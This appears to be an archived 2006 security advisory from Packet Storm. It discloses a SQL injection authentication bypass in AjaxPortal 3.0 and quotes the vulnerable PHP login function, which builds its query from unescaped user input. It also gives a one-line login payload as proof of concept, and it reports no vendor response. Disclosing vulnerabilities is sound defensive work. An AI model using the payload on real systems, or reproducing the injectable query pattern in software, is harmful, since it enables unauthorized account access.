what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

advisory-355.txt

advisory-355.txt
Posted Jul 9, 2006
Authored by trueend5 | Site kapda.ir

AjaxPortal version 3.0 is susceptible to a SQL injection flaw.

tags | exploit, sql injection
SHA-256 | 68241d394a552ba41f23ec3ea7e58f91c6e6a5456c5dd76262766a6dfc3bd014

advisory-355.txt

Change Mirror Download


KAPDA New advisory

Vendor: http://myiosoft.com
Vulnerable: AjaxPortal v. 3.0
Bug: Sql Injection (Authentication Bypass)
Exploitation: Remote with browser

Description:
--------------------
AjaxPortal is based on Sajax technology - an open
source tool to make programming websites using the
Ajax framework known as XMLHTTPRequest or remote
scripting as easy as possible.customizable full
featured content management tool written in PHP, using
javascript and Mysql.

Vulnerability:
--------------------
Input Validation error in loginADP Function that
result in Login bypass when Magic quotes is disabled.

Code Snippets:
/ajaxp.php Lines: #568-593

function loginADP($username,$password,$remember){
$badlogin = 0;
if(isLoggedIn()){ return "Sucsess!"; }
$query = "SELECT * FROM ".PREFIX."ajaxp_users
WHERE username='$username' AND
password=PASSWORD('$password') AND active=1 LIMIT
1";
$result = mysql_query($query);
if(mysql_num_rows($result) > 0){
$userinfo = mysql_fetch_array($result);
$_SESSION['sess_username'] =
$userinfo['username'];
$_SESSION['sess_firstname'] =
$userinfo['firstname'];
$_SESSION['sess_lastname'] =
$userinfo['lastname'];
$_SESSION['sess_userid'] =
$userinfo['user_id'];
$_SESSION['sess_accesslevel'] =
$userinfo['accesslevel'];
$_SESSION['sess_usermd5'] = $userinfo['md5'];
$_SESSION['sess_theme_id'] =
$userinfo['theme_id'];
$_SESSION['sess_last_ip'] =
$_SERVER['REMOTE_ADDR'];
$_SESSION['sess_logged_in'] = 1;
$query = "UPDATE ".PREFIX."ajaxp_users SET
last_login=NOW(),
last_ip=\"".$_SERVER['REMOTE_ADDR']."\" WHERE
user_id=".$userinfo['user_id']."";
mysql_query($query);
if($remember==1)
{$_SESSION['remember']=$userinfo['user_id'];} else {
unset($_SESSION['remember']); }
$badlogin = 0;
return "Sucsess!";
} else {
$badlogin = 1;
}
POC:
--------------------
Username:a' or user_id=22/*
Password:abcdef


Solution:
--------------------
No Response from vendor.

Original Advisories:
--------------------
http://www.kapda.ir/advisory-355.html


Credit :
--------------------
Discovered & released by trueend5 (trueend5 kapda ir)
Security Science Researchers Institute Of Iran
[http://www.KAPDA.ir]

__________________________________________________
Do You Yahoo!?
Tired of spam? Yahoo! Mail has the best spam protection around
http://mail.yahoo.com
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close